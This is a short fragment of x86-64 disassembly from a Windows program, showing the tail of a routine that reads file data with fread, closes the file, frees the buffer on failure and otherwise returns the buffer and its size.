mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x14000d66e
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x140067e90]
test rax, rax
je 0x14000d663
dec dword [rax + 0x3bc]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x14000d68a
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x14000d67c
mov qword [r14], rdi
mov rax, rsi
jmp 0x14000d68c
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret